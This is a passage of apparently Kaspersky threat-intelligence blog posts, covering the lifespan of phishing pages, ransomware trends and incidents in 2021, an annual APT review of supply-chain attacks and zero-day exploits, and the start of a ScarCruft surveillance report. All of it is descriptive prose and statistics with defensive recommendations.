Other gTLDs and ccTLDs 15 40% 11.24 243.49 From June 2015 to June 2020 In a directory 4+ Other gTLDs and ccTLDs 11 73% From June 2015 to June 2020 In a directory 4+ Popular gTLDs 10 10% 2.74 25.56 158.22 From June 2015 to June 2020 At the root 3 Popular gTLDs 9 22% 43.02 76.00 123.16 From June 2020 to June 2021 At the root 2 Popular gTLDs 9 22% 7.33 22.25 182.08 Before June 2015 At the root 4+ Popular gTLDs 9 22% 118.93 238.08 455.16 June 2021 and later In a directory 4+ Other gTLDs and ccTLDs 8 63% 98.25 From June 2015 to June 2020 At the root 2 Popular gTLDs 8 38% 19.54 19.58 From June 2015 to June 2020 At the root 4+ Cheap gTLDs 8 13% 58.43 193.22 667.15 From June 2015 to June 2020 In a directory 2 Cheap gTLDs 6 50% 26.95 From June 2015 to June 2020 In a directory 3 Cheap gTLDs 6 33% 25.21 95.27 From June 2020 to June 2021 At the root 3 Popular gTLDs 6 0% 68.50 80.72 112.21 Before June 2015 In a directory 4+ Popular gTLDs 6 0% 4.26 42.06 101.38 June 2021 and later At the root 4+ Popular gTLDs 5 20% 20.85 124.47 125.83 June 2021 and later At the root 3 Other gTLDs and ccTLDs 4 50% 25.01 From June 2020 to June 2021 At the root 2 Other gTLDs and ccTLDs 4 25% 17.24 368.73 June 2021 and later At the root 4+ Other gTLDs and ccTLDs 3 0% 5.43 8.43 8.58 From June 2020 to June 2021 In a directory 4+ Cheap gTLDs 3 0% 6.26 6.26 169.68 Before June 2015 At the root 4+ Other gTLDs and ccTLDs 3 0% 103.34 111.88 130.09 From June 2015 to June 2020 At the root 4+ Other gTLDs and ccTLDs 2 50% From June 2020 to June 2021 At the root 2 Cheap gTLDs 2 50% From June 2020 to June 2021 At the root 3 Cheap gTLDs 2 0% 193.85 195.71 197.58 From June 2020 to June 2021 At the root 4+ Popular gTLDs 2 0% 39.72 60.07 80.43 From June 2020 to June 2021 At the root 4+ Cheap gTLDs 2 0% 14.58 15.39 16.20 Before June 2015 At the root 2 Popular gTLDs 2 0% 60.89 115.05 169.21 Hosting In a directory 2 Other gTLDs and ccTLDs 1 100% From June 2015 to June 2020 At the root 3 Cheap gTLDs 1 100% From June 2015 to June 2020 At the root 3 Other gTLDs and ccTLDs 1 100% From June 2015 to June 2020 At the root 4+ Popular gTLDs 1 0% 61.91 61.91 61.91 Before June 2015 At the root 2 Other gTLDs and ccTLDs 1 0% 389.37 389.37 389.37 Hosting In a directory 2 Popular gTLDs 0 0% Hosting In a directory 2 Cheap gTLDs 0 0% Hosting In a directory 3 Cheap gTLDs 0 0% Hosting In a directory 4+ Cheap gTLDs 0 0% Hosting At the root 2 Popular gTLDs 0 0% Hosting At the root 2 Cheap gTLDs 0 0% Hosting At the root 2 Other gTLDs and ccTLDs 0 0% Hosting At the root 3 Cheap gTLDs 0 0% Hosting At the root 4+ Cheap gTLDs 0 0% From June 2015 to June 2020 In a directory 4+ Cheap gTLDs 0 0% From June 2015 to June 2020 At the root 2 Cheap gTLDs 0 0% From June 2015 to June 2020 At the root 2 Other gTLDs and ccTLDs 0 0% Before June 2015 In a directory 2 Cheap gTLDs 0 0% Before June 2015 In a directory 3 Cheap gTLDs 0 0% Before June 2015 In a directory 4+ Cheap gTLDs 0 0% Before June 2015 At the root 2 Cheap gTLDs 0 0% Before June 2015 At the root 3 Cheap gTLDs 0 0% Before June 2015 At the root 3 Other gTLDs and ccTLDs 0 0% Before June 2015 At the root 4+ Cheap gTLDs 0 0%

    *Number of hours elapsed by the time a quarter of the domains in this category have become inactive. The graph has been left empty if not enough domains ceased activity within 30 days.
    **Number of hours elapsed by the time half of the domains in this category have become inactive. The graph has been left empty if not enough domains ceased activity within 30 days.
    ***Number of hours elapsed by the time three quarters of the domains in this category have become inactive. The graph has been left empty if not enough domains ceased activity within 30 days.


    Phishing pages are most frequently located at the root of a hosted third-level domain on a popular top-level domain (over 11% of all links), where there is a high level of correlation within the combination of characteristics: when we see a phishing page is located at the root of the domain, the website is hosted with a third-level domain in more than half of cases. As a rule, these pages only tend to be active for an extremely short period of time — 75% of links become inactive after two days.

    The majority of websites created from June 2020 to June 2021 use the domains .com, .org, .net and .info. Not only does this category include new websites which have been hacked — it also includes websites which were purpose-built by cybercriminals. Pages which stand out in this category are fake e-payment forms targeting users to steal their bankcard details. These pages can be parts of fraudulent websites or separate websites. There are so many bogus websites with links to certain fake payment pages that these pages make it into Alexa Top 1 Million popularity ranking. An example of an “e-payment” website:

    The domains created in the summer of 2021 are predominantly second-level domains. As a rule, the latest websites blocked by Kaspersky products have been specially created for phishing. These one-day websites usually don’t have an extensive system of devices on the network so they don’t need subdomains, which is why attackers stop at the second-level domain.

    The second most popular combination is a phishing page located in a directory on a third-level domain created before June 2015. This is the most resilient type of phishing page: just under a quarter of these pages stopped showing signs of phishing activity within 30 days, which is significantly lower than the average figure.

    A more detailed analysis of the links in this category revealed almost all of them use the same second-level domain and have similar randomly generated third-level domain names. In these cases, the website presumably fell victim to a cyberattack, where hackers gained access to it and created multiple subdomains without touching the main website’s content.


    We’ve looked at the key stages in the life cycle of a phishing page: its creation, changes in content, and end of activity. Based on the results of the study, we’ve drawn the following conclusions:

    • The majority of phishing pages are active for a short period of time: half of the links were already inactive within less than a week after detection.
    • Modern phishing pages rarely change: not one of the monitored pages changed its target organization within its lifetime. Major changes to content were primarily observed on pages targeting players of an online game which run regular offers and giveaways. Cybercriminals have to adapt their phishing pages to keep up with these offers and make the pages as convincing as possible.
    • On average, just under half of the pages displayed a timeout as a sign of inactivity. Other popular signs included unsuccessful domain name resolution, no content and hosting stubs.
    • Almost a third of links led to hosted sites — this was the category of links that were active for the shortest amount of time. In some cases these websites only existed for a few hours.
    2021. december 7.

    The story of the year: ransomware in the headlines

    In the past twelve months, the word “ransomware” has popped up in countless headlines worldwide across both print and digital publications: The Wall Street Journal, the BBC, the New York Times. It is no longer just being discussed by CISOs and security professionals, but politicians, school administrators, and hospital directors. Words like Babuk and REvil have entered the everyday lexicon. This is a threat that seems almost inescapable, regardless of whether or not users occupy the cybersecurity or tech space – and it is having a direct impact on lives.

    That is precisely why we have chosen ransomware as our story of the year for Kaspersky’s annual Security Bulletin. But how did we get here and what has changed about the ransomware landscape since it was first our story of the year in 2019?

    Arguably, it all started at the end of 2019, when Maze became a “pioneer” of the modern ransomware landscape. The operators behind that ransomware created a new, highly effective scheme for attacking large, profitable businesses: double extortion. With double extortion, not only do the attackers encrypt data, but they also steal highly sensitive information (personal data of clients and employees, internal documents, intellectual property, etc.) and threaten to publish that information if the ransom is not paid. This gives companies more reason to pay up. In 2020, we called this “Ransomware 2.0“, and, unsurprisingly, big ransomware players, including REvil (aka Sodinokibi), DarkSide, Babuk, Avaddon, Conti, etc., began adopting the new approach. Maze also began posting information about stolen data on their “Wall of Shame”, and other ransomware groups followed suit with their own leak sites.

    In fact, by analyzing the number of victims on ransomware groups’ various leak sites, it is easy to visualize the growth in “Ransomware 2.0” in 2021. From January to November 2021, the number of victims was 30% higher than that in all of 2020, affecting a total of 1,500 organizations. Of course, it is important to know that these ransomware groups do not publish information about all of their victims on their leak sites; therefore, the actual figure could be much higher.

    Around this same time, an entire criminal ecosystem began forming to support the burgeoning ransomware epidemic: Ransomware-as-a-Service or RaaS. Each of the players has a specific role within this ecosystem: there are those who provide the encryptor and the platform for negotiating and publicizing the details of the victims. Others (partners or affiliates) carry out direct attacks against organizations. In addition, attackers operating within this ecosystem purchase the tools to initially penetrate the victims’ infrastructure from third parties. This ecosystem added an additional level of operational efficiency and a massive support network for those looking to profit from ransomware.

    Double extortion coupled with RaaS created the means for cybercriminals to successfully attack major corporations, extorting hundreds of thousands and even millions of dollars. In fact, according to data from the US Treasury’s Financial Crimes Enforcement Network (FinCEN), organizations in the U.S. alone may have paid nearly 600 million dollars to ransomware groups in the first half of 2021. And, according to the same report, if you look at the most prolific actors from the past year, they have potentially received $5.2 billion in transfers over the last three years.

    This is the era of big game hunting: high-profile B2B targets, big ransom demands, sophisticated attacks, highly sensitive data being stolen, and major fallout from a successful attack. Given some of the ramifications of this past year’s biggest attacks, it is not surprising that ransomware has gone mainstream.

    We are taking a deep dive into the evolution of ransomware in 2021, starting with the ransomware events of 2021 that made for some of the biggest headlines.

    Key ransomware events in 2021

    Perhaps the first headline that indicated the world was truly in unprecedented territory when it comes to ransomware was the shutdown of the United States’ largest fuel supplier: the Colonial Pipeline. The now-defunct ransomware gang known as DarkSide was able to infiltrate the pipeline’s network and steal nearly 100 gigabytes of information in early May. The pipeline was shut down for six days, and, ultimately, Colonial paid 4.4 million in ransom to DarkSide. Later that same month, another RaaS operator, REvil, followed in DarkSide’s footsteps. This notorious gang was able to shut down several production sites for JBS, the world’s largest beef supplier. The company ultimately paid $11 million to resume their operators and recover the stolen data.

    Attacks like those on Colonial and JBS prompted President Biden to declare a state of emergency and to meet President Putin to discuss mutual cooperation in tackling the ransomware threat. This initiated a new, important trend related to ransomware: government involvement and increased international cooperation. In September 2021, the U.S. Treasury issued sanctions against the virtual cryptocurrency exchange Suex for their role in helping ransomware attackers get paid, and the pipeline attack proved to be DarkSide’s undoing: the group had attracted too much attention. After facing pressure from law enforcement agencies, they lost control of their servers, including their blog and payment systems, as well as some funds.

    Another highly prolific RaaS operator from 2019, Avaddon, was also shut down in 2021 thanks to a crackdown by law enforcement – both against the ransomware gang and the infamous botnet Emotet. Avaddon was using the malware to gain an initial foothold in users’ systems. However, it appears Emotet has since reemerged.

    REvil is another interesting example of what appears to be the new normal for the lifecycle of ransomware: a group makes a lot of noise with a large-scale attack and is then forced to shut down or rebrand due to legal pressure. REvil first appeared in 2019 and is reported to have earned over $100 million from their operations in 2020 and demanded $50 million in ransom from Apple after stealing information about the company’s upcoming releases. Of course, all of this attention came at a cost. After exploiting a vulnerability in Kaseya VSA, a leading unified remote-monitoring and management tool, REvil was able to hack into about 50 MSP providers. However, shortly after this attack, REvil’s servers were taken offline, with rumors that law enforcement pressure had forced them to close. They did reappear in October, stating the previous shutdown was due to internal reasons, but a multi-country push to force REvil’s leak site and Tor payment site offline ultimately led the group to shut down their operations…for now.

    Babuk, a highly prolific RaaS operator first appearing in 2021 and inventors of the infamous “Babuk locker”,  stole 250 GB of data from Washington’s Metropolitan Police Department network and held it for ransom. Their operations have also ceased, although this appears to be by their own volition: Babuk announced its retirement at the end of April, while releasing their source code into the wild so that it could be used by other ransomware operators. They later rebranded as Payload Bin and started offering their platform to other ransomware groups that do not have a leak site of their own.

    Who are the key players now?

    For now, former notable “Big Game Hunters” from 2021 have been taken down or have retired. As the ransomware threat has evolved and gained more attention, ransomware groups are facing shorter lifespans for their attacks, but the groups are highly capable of rebranding. Both REvil and Babuk originally emerged from the now defunct ransomware groups GrandCab and Vasa Locker, and DarkSide quickly regrouped as BlackMatter. After a brief period of success targeting U.S. companies and even the major Japanese technology company Olympus, the group shut down, apparently due to pressure from law enforcement.

    One other notable RaaS operator that is still active is Conti. This ransomware group first appeared in 2019 and was quite prolific in 2020. Some of their most notable attacks in 2021 include an attack against the Broward County Public Schools in Florida and the takedown of the servers for Ireland’s Health Service Executive. However, it is worth noting that even Conti is feeling the pressure: after details about their inner workings were made public, they were forced to rethink their infrastructure, taking down their clearnet and dark web payment portals. Unfortunately, the group was able to get its servers back up and running within twenty-four hours.

    That said, it is important to note that the ransomware groups most frequently appearing in the headlines are not the groups most often encountered by users. That is because the groups mentioned above conduct highly targeted attacks against copmpanies capable of paying millions in ransom. Older and more common ransomware actors are more interested in collecting smaller payments from a larger number of people.

    When comparing the percentage of requests with a specific ransomware family among all ransomware requests processed by Kaspersky malware analysts, this is the distribution of ransomware attacks by ransomware family for the year 2020.

    Distribution of ransomware attack by ransomware family, 2020 (download)

    Crysis/Dharma and Stop/Djvu are both long-standing ransomware attackers. Crysis is capable of using multiple attack vectors but more recently has been seen primarily exploiting unsecured RDP access. And Stop, the most prevalent ransomware family with an “old-school” distribution scheme (victims searching for counterfeit software and finding executable files that contain ransomware), rather than human-operated attacks most often used by more modern groups. The former target both B2B and B2C, while the latter target primarily the B2C sector. In 2020, both groups accounted for over 50 percent of all ransomware attacks, with REvil making up a small 1.7%.

    The first three quarters of 2021 showed a similar picture.

    Distribution of ransomware attack by ransomware family, Q1-Q3 2021 (download)

    The most frequently encountered ransomware family was Stop/Djvu, while Crysis/Dharma dropped to third place. The second most common family was Phobos, also an older ransomware family that targets small and medium-sized businesses. REvil did grow in its share of attacks to 2.2%, but it represented the least frequently encountered family among the ten most common. Because families like Crysis and Stop are more widespread rather than concentrated in their attacks (and request smaller payments), these typically do not make the headlines, however, they are indeed more commonly encountered encryptors.

    The switch from mass infections to pinpoint attacks: enter Big Game Hunting

    Earlier ithis year, we released a report, Ransomware by the Numbers, which seemed to contradict all the headlines: the total number of users that had encountered ransomware was actually on the decline. In fact, the ratio of unique users of Kaspersky B2B products who encountered ransomware trojans to the total number of users facing any type of threats has been steadily declining since the beginning of 2020.

    The percent of unique B2B Kaspersky users that encountered ransomware to the number of users encountering any threats, 2020-2021 (download)

    Indeed, while older families like Stop and Crysis may still be those most frequently encountered by users, the numbers of users that actually encounter them are going down.

    That is because newer, high-profile gangs have switched from mass infections to pinpoint attacks against those who can pay millions: corporations and industrial organizations. In fact, from 2019 to 2020, the number of unique users affected by targeted ransomware (i.e. groups like Babuk and REvil which are involved in Big Game Hunting) increased by 767%. And this trend has only continued in 2021.

    Launching the ransomware in the system is the last stage in these attacks. By this time, the organization’s network is often fully controlled by the attackers. As a result, after the data is encrypted, research is required to establish the initial attack vector, prevent re-infiltration by the attackers and attempt to restore data. This process is called incident response (IR), and mid-sized organizations and large corporations typically resort to it with the help of their own employees or contractors (i.e. Kasperksy provides IR services to its clients through Kaspersky Global Emergency Response Team). When looking at the data from 2019, 2020 and the first three quarters of 2021, an interesting pattern emerges.

    The percentage of ransomware-related IR requests, 2019-2021 (download)

    The percentage of IR requests related to ransomware for January to November of 2021 is already nearly 10 percentage points higher than the share of ransomware IR requests in 2020, and it is 12.7% higher than the percentage of requests in 2019.

    The raw total of ransomware attacks may be lower, but the attacks against big organizations are on the rise.

    A closer look at the industries under ransomware siege

    If ransomware gangs are focusing on large companies and organizations, which industries are feeling the greatest fallout from these massive attacks?

    The percentage of ransomware-related IR requests belonging to certain industries, 2020 (download)

    In 2020, the industry that received the greatest percentage of IR requests was the industrial sector (26.85%), followed by the government (21.3%). Together, those two sectors accounted for nearly fifty percent of all IR requests in 2020. Both the industrial and government sectors contain “mission critical” companies, i.e. those that cannot afford to stay offline and are thus more likely to pay up.

    In 2021, the distribution of IR requests was as follows.

    The percentage of ransomware related IR requests belonging to certain industries, 2021 (download)

    Both the government and industrial sectors remained the most frequently targeted ones, with the former increasing slightly and the latter decreasing slightly. There was also a major jump in the number of attacks affecting the IT sector: from 2.78% in 2020 to 13.33% in 2021.

    It is important to keep in mind that statistics like the above are at least partially influenced by the company’s client base. Some of the most high-profile attacks against these sectors include the attack against the Colonial gas pipeline and the Health Service Executive. In addition, Kaspersky uncovered a series of attacks against industrial organizations by the Cring ransomware.

    A look ahead: developing ransomware trends

    This new era of Big Game Hunting is still unfolding, and high-profile groups making the headlines, as well as newcomers, are revamping their tactics to extract even greater profits from their victims. Here are two of the most significant trends.

    Targeting Linux

    In 2020, both DarkSide and RansomExx groups launched attacks against VmWare ESXi servers using Linux-sepcific ransomware builds. Now, in 2021, we have seen this gain popularity among other Big Game Hunters. Both REvil, HelloKitty, Babuk, Conti, Hive, and potentially, even PYSA and RagnarLocker added Linux to their arsenal. Why? This allows them to maximize the attack surface by encrypting virtual machines hosted on ESXi servers.

    Financial blackmail

    In April, DarkSide published a post on their leak site stating a wish to influence the stock prices of companies, i.e. conduct financial blackmail. However, DarkSide was not the first to express an interest in devaluing corporate stock: back in 2020, a former representative of REvil known as “Unknown” made a post on the Exploit forum encouraging ransomware operators to use the stock exchange when extorting their victims. Since then, financial blackmail has become an increasingly popular trend. In November of this year, the United States FBI put out a warning stating that ransomware actors are “using significant financial events, such as mergers and acquisitions, to target and leverage victim companies for ransomware infections”.  According to the FBI, three companies were victims of ransomware during delicate merger and acquisition negotiations between March and July 2020. What is more, ransomware operators are updating their malware to scan networks for finance-related keywords, such as “NASDAQ” and “10-Q” (quarterly financial reports). Case in point: the trojan Pyxie used by Defray777/RansomEXX.

    When companies are undergoing mergers or acquisitions, planning to go public, or are reassessing their financials, they are in a particularly vulnerable position. Any kind of leaked information could have devastating consequences for the company’s valuation. In fact, a study by Comparitech found that ransomware attacks cause, on average, a 22% decrease in the share value of companies in the short term.

    Such consequences make the victims more inclined to pay the ransom. With law enforcement agencies and politicians shortening ransomware groups’ lifespan, efficiency has become paramount – and financial blackmail is a powerful tool. In 2022, we expect this type of extortion to become more popular and spread to average ransomware operators.


    Will ransomware feature in the headlines in the coming year to the same extent it did, in 2021? Will more pipelines, schools, and hospitals fall? It is impossible to tell, but it is certainly not going away as a threat. There will undoubtedly be some new players that arise to take the place of groups like DarkSide, and 2021’s biggest players may either reappear or evolve and rebrand. And, as in 2021, they will be after “big game”; this will again lead to significant real-life consequences (food or gas shortages, human casualties, companies going bankrupt).

    However, big attacks lead to big attention from the public, and, as we learned this year, that is not always a good thing. Groups like REvil and DarkSide received so much attention that governments and international law enforcement agencies worked together to push them offline. As these highly destructive attacks continue, expect continued cooperation to bring the groups behind them down. After all, it is only through international cooperation that ransomware can be effectively tackled.

    At the same time, major attention from government organizations could put companies, too, in a difficult position. Last year, the US Office of Foreign Assets Control (OFAC) told victims that paying ransoms could constitute a breach of international sanctions, putting attacked organizations at risk of legal repercussions. However, companies have repeatedly shown that they would rather pay than suffer the consequences of a ransomware attack, particularly now that operators are threatening to dox corporate data. Unfortunately, this means ransomware continues to be profitable for cybercriminals. In the coming year, governments may enact more laws surrounding the payment of ransoms in an attempt to force victims not to pay.

    With all of that said, there is one undisputed upside of ransomware being in the headlines: the more people know about the problem, the better they will know how to protect themselves.

    Here are Kaspersky’s recommendations on staying secure from ransomware attacks:

    • Do not expose remote desktop services (such as RDP) to public networks unless absolutely necessary and always use strong passwords for them.
    • Promptly install available patches for commercial VPN solutions providing access for remote employees and acting as gateways in your network.
    • Always keep software updated on all devices you use to prevent ransomware from exploiting vulnerabilities.
    • Focus your defense strategy on detecting lateral movements and data exfiltration to the Internet. Pay special attention to the outgoing traffic to detect cybercriminals’ connections. Back up data regularly. Make sure you can quickly access it in an emergency when needed. Use the latest Threat Intelligence information to stay on top of actual TTPs used by threat actors.
    • Use solutions like Kaspersky Endpoint Detection and Response and Kaspersky Managed Detection and Response service which help to identify and stop an attack at its early stages, before attackers achieve their final goals.
    • To protect the corporate environment, educate your employees. Dedicated training courses can help, such as the ones provided on the Kaspersky Automated Security Awareness Platform. A free lesson on how to protect from ransomware attacks is available here.
    • Use a reliable endpoint security solution, such as Kaspersky Endpoint Security for Business, that is powered by exploit prevention, behavior detection and a remediation engine capable of rolling back malicious actions. KESB also has self-defense mechanisms that can prevent its removal by cybercriminals.
    2021. november 30.

    APT annual review 2021

    In the Global Research and Analysis Team at Kaspersky, we track the ongoing activities of more than 900 advanced threat actors and activity clusters; you can find our quarterly overviews here, here and here. For this annual review, we have tried to focus on what we consider to be the most interesting trends and developments of the last 12 months. This is based on our visibility in the threat landscape and it’s important to note that no single vendor has complete visibility into the activities of all threat actors.

    Private sector vendors play a significant role in the threat landscape

    Possibly the biggest story of 2021, an investigation by the Guardian and 16 other media organizations, published in July, suggested that over 30,000 human rights activists, journalists and lawyers across the world may have been targeted using Pegasus. The report, called Pegasus Project, alleged that the software uses a variety of exploits, including several iOS zero-click zero-days. Based on forensic analysis of numerous mobile devices, Amnesty International’s Security Lab found that the software was repeatedly used in an abusive manner for surveillance. The list of targeted individuals includes 14 world leaders. Later that month, representatives from the Israeli government visited the offices of NSO as part of an investigation into the claims. And in October, India’s Supreme Court commissioned a technical committee to investigate whether the government had used Pegasus to spy on its citizens. In November, Apple announced that it was taking legal action against NSO Group for developing software that targets its users with “malicious malware and spyware”.

    Detecting infection traces from Pegasus and other advanced mobile malware is very tricky, and complicated by the security features of modern OSs such as iOS and Android. Based on our observations, this is further complicated by the deployment of non-persistent malware, which leaves almost no traces after reboot. Since many forensics frameworks require a device jailbreak, this results in the malware being removed from memory during the reboot. Currently, several methods can be used for detection of Pegasus and other mobile malware. MVT (Mobile Verification Toolkit) from Amnesty International is free, open source and allows technologists and investigators to inspect mobile phones for signs of infection. MVT is further boosted by a list of IoCs (indicators of compromise) collected from high profile cases and made available by Amnesty International.

    Supply-chain attacks

    There have been a number of high-profile supply-chain attacks in the last 12 months. Last December, it was reported that SolarWinds, a well-known IT managed services provider, had fallen victim to a sophisticated supply-chain attack. The company’s Orion IT, a solution for monitoring and managing customers’ IT infrastructure, was compromised. This resulted in the deployment of a custom backdoor named Sunburst on the networks of more than 18,000 SolarWinds customers, including many large corporations and government bodies, in North America, Europe, the Middle East and Asia.

    Not all supply-chain attacks have been that sophisticated. Early this year, an APT group that we track as BountyGlad compromised a certificate authority in Mongolia and replaced the digital certificate management client software with a malicious downloader. Related infrastructure was identified and used in multiple other incidents: this included server-side attacks on WebSphere and WebLogic services in Hong Kong, and Trojanized Flash Player installers on the client side.

    While investigating the artefacts of a supply-chain attack on an Asian government Certification Authority’s website, we discovered a Trojanized package that dates back to June 2020. Unravelling that thread, we identified a number of post-compromise tools in the form of plugins that were deployed using PhantomNet malware, which were in turn delivered using the aforementioned Trojanized packages. Our analysis of these plugins revealed similarities with the previously analyzed CoughingDown malware.

    In April 2021, Codecov, provider of code coverage solutions, publicly disclosed that its Bash Uploader script had been compromised and was distributed to users between January 31 and April 1. The Bash Uploader script is publicly distributed by Codecov and aims to gather information on the user’s execution environments, collect code coverage reports and send the results to the Codecov infrastructure. This script compromise effectively constitutes a supply-chain attack.

    Earlier this year we discovered Lazarus group campaigns using an updated DeathNote cluster. Our investigation revealed indications that point to Lazarus building supply-chain attack capabilities. In one case we found that the infection chain stemmed from legitimate South Korean security software executing a malicious payload; and in the second case, the target was a company developing asset monitoring solutions, an atypical victim for Lazarus. As part of the infection chain, Lazarus used a downloader named Racket, which they signed using a stolen certificate. The actor compromised vulnerable web servers and uploaded several scripts to filter and control the malicious implants on successfully breached victim machines.

    A previously unknown, suspected Chinese-speaking APT modified a fingerprint scanner software installer package on a distribution server in a country in East Asia. The APT modified a configuration file and added a DLL with a .NET version of a PlugX injector to the installer package. Employees of the central government in this country are required to use this biometric package to track attendance. We refer to this supply-chain incident and this particular PlugX variant as SmudgeX. The Trojanized installer appears to have been staged on the distribution server from March through June.

    Exploiting vulnerabilities

    On March 2, Microsoft reported a new APT actor named HAFNIUM, exploiting four zero-days in Exchange Server in what they called “limited and targeted attacks”. At the time, Microsoft claimed that, in addition to HAFNIUM, several other actors were exploiting them as well. In parallel, Volexity also reported the same Exchange zero-days being in use in early 2021. According to Volexity’s telemetry, some of the exploits in use are shared across several actors, besides the one Microsoft designates as HAFNIUM. Kaspersky telemetry revealed a spike in exploitation attempts for these vulnerabilities following the public disclosure and patch from Microsoft. During the first week of March, we identified approximately 1,400 unique servers that had been targeted, in which one or more of these vulnerabilities were used to obtain initial access. According to our telemetry, most exploitation attempts were observed for servers in Europe and the United States. Some of the servers were targeted multiple times by what appear to be different threat actors (based on the command execution patterns), suggesting the exploits had become available to multiple groups.

    We also discovered a campaign active since mid-March targeting governmental entities in Europe and Asia using the same Exchange zero-day exploits. This campaign made use of a previously unknown malware family that we dubbed FourteenHi. Further investigation revealed traces of activity involving variants of this malware dating back a year. We also found some overlaps in these sets of activities with HAFNIUM in terms of infrastructure and TTPs as well as the use of ShadowPad malware during the same timeframe.

    On January 25, the Google Threat Analysis Group (TAG) announced a state-sponsored threat actor had targeted security researchers. According to Google TAG’s blog, this actor used highly sophisticated social engineering, approached security researchers through social media, and delivered a compromised Visual Studio project file or lured them to their blog where a Chrome exploit was waiting for them. On March 31, Google TAG released an update on this activity showing another wave of fake social media profiles and a company the actor set up mid-March. We confirmed that several infrastructures on the blog overlapped with our previously published reporting about Lazarus group’s ThreatNeedle cluster. Moreover, the malware mentioned by Google matched ThreatNeedle – malware that we have been tracking since 2018. While investigating associated information, a fellow external researcher confirmed that he was also compromised by this attack, sharing information for us to investigate. We discovered additional C2 servers after decrypting configuration data from the compromised host. The servers were still in use during our investigation, and we were able to get additional data related to the attack. We assess that the published infrastructure was used not only to target security researchers but also in other Lazarus attacks. We found a relatively large number of hosts communicating with the C2s at the time of our research.

    Expanding our research on the exploit targeting CVE-2021-1732, originally discovered by DBAPPSecurity Threat Intelligence Center and used by the Bitter APT group, we discovered another possible zero-day exploit used in the Asia-Pacific (APAC) region. Further analysis revealed that this escalation of privilege (EoP) exploit had potentially been used in the wild since at least November 2020. We reported this new exploit to Microsoft in February. After confirmation that we were indeed dealing with a new zero-day, it received the designation CVE-2021-28310. Various marks and artifacts left in the exploit meant that we were highly confident that CVE-2021-1732 and CVE-2021-28310 were created by the same exploit developer that we track as Moses. Moses appears to be an exploit developer who makes exploits available to several threat actors, based on other past exploits and the actors observed using them. To date, we have confirmed that at least two known threat actors have utilized exploits originally developed by Moses: Bitter APT and Dark Hotel. Based on similar marks and artifacts, as well as privately obtained information from third parties, we believe at least six vulnerabilities observed in the wild in the last two years have originated from Moses. While the EoP exploit was discovered in the wild, we weren’t able to directly tie its usage to any known threat actor that we currently track. The EoP exploit was probably chained together with other browser exploits to escape sandboxes and obtain system level privileges for further access. Unfortunately, we weren’t able to capture a full exploit chain, so we don’t know if the exploit is used with another browser zero-day, or coupled with exploits taking advantage of known, patched vulnerabilities.

    On April 14-15, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for remote code execution (RCE) in the Chrome web browser, we were able to find and analyze an EoP exploit used to escape the sandbox and obtain system privileges. The EoP exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 – RS5, 18362 – 19H1, 18363 – 19H2, 19041 – 20H1, 19042 – 20H2) and exploited two distinct vulnerabilities in the Microsoft Windows OS kernel. We reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the information disclosure vulnerability and CVE-2021-31956 to the EoP vulnerability. Both vulnerabilities were patched on June 8 as a part of the June Patch Tuesday. The exploit-chain attempts to install malware in the system through a dropper. The malware starts as a system service and loads the payload, a remote shell-style backdoor that in turn connects to the C2 to get commands. Because we couldn’t find any connections or overlaps with a known actor, we named this cluster of activity PuzzleMaker.

    Finally, late this year, we detected a wave of attacks using an elevation of privilege exploit affecting server variants of the Windows operating system. Upon closer analysis, it turned out to be a zero-day use-after-free vulnerability in Win32k.sys that we reported to Microsoft and was consequently fixed as CVE-2021-40449. We analyzed the associated malware, dubbed the associated cluster MysterySnail and found infrastructure overlaps that link it to the IronHusky APT.

    Firmware vulnerabilities

    In September, we provided an overview of the FinSpy PC implant, covering not only the Windows version, but also Linux and macOS versions. FinSpy is an infamous, commercial surveillance toolset that is used for “legal surveillance” purposes. Historically, several NGOs have repeatedly reported it being used against journalists, political dissidents and human rights activists. Historically, its Windows implant was represented by a single-stage spyware installer; and this version was detected and researched several times up to 2018. Since then, we have observed a decreasing detection rate for FinSpy for Windows. While the nature of this anomaly remained unknown, we began detecting some suspicious installer packages backdoored with Metasploit stagers. We were unable to attribute these packages to any threat actor until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android. Over the course of our investigation, we found out that the backdoored installers are nothing more than first stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan. Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit were publicly revealed for the first time in our report.

    Towards the end of Q3, we identified a previously unknown payload with advanced capabilities, delivered using two infection chains to various government organizations and telecoms companies in the Middle East. The payload makes use of a Windows kernel-mode rootkit to facilitate some of its activities and is capable of being persistently deployed through an MBR or a UEFI bootkit. Interestingly enough, some of the components observed in this attack have been formerly staged in memory by Slingshot agent on multiple occasions, whereby Slingshot is a post-exploitation framework that we covered in several cases in the past (not to be confused with the Slingshot APT). It is mainly known for being a proprietary commercial penetration testing toolkit officially designed for red team engagements. However, it’s not the first time that attackers appear to have taken advantage of it. One of our previous reports from 2019 covering FruityArmor’s activity showed that the threat group used the framework to target organizations across multiple industries in the Middle East, possibly by leveraging an unknown exploit in a messenger app as an infection vector. In a recent private intelligence report, we provided a drill-down analysis of the newly discovered malicious toolkit that we observed in tandem with Slingshot and how it was leveraged in clusters of activity in the wild. Most notably, we outlined some of the advanced features that are evident in the malware as well as its utilization in a particular long-standing activity against a high-profile diplomatic target in the Middle East.

    2021. november 29.

    ScarCruft surveilling North Korean defectors and human rights activists

    The ScarCruft group (also known as APT37 or Temp.Reaper) is a nation-state sponsored APT actor we first reported in 2016. ScarCruft is known to target North Korean defectors, journalists who cover North Korea-related news and government organizations related to the Korean Peninsula, between others. Recently, we were approached by a news organization with a request for technical assistance during their cybersecurity investigations. As a result, we had an opportunity to perform a deeper investigation on a host compromised by ScarCruft. The victim was infected by PowerShell malware and we discovered evidence that the actor had already stolen data from the victim and had been surveilling this victim for several months. The actor also attempted to send spear-phishing emails to the victims’ associates working in businesses related to North Korea by using stolen login credentials.

    Based on the findings from the compromised machine, we discovered additional malware. The actor utilized three types of malware with similar functionalities: versions implemented in PowerShell, Windows executables and Android applications. Although intended for different platforms, they share a similar command and control scheme based on HTTP communication. Therefore, the malware operators can control the whole malware family through one set of command and control scripts.

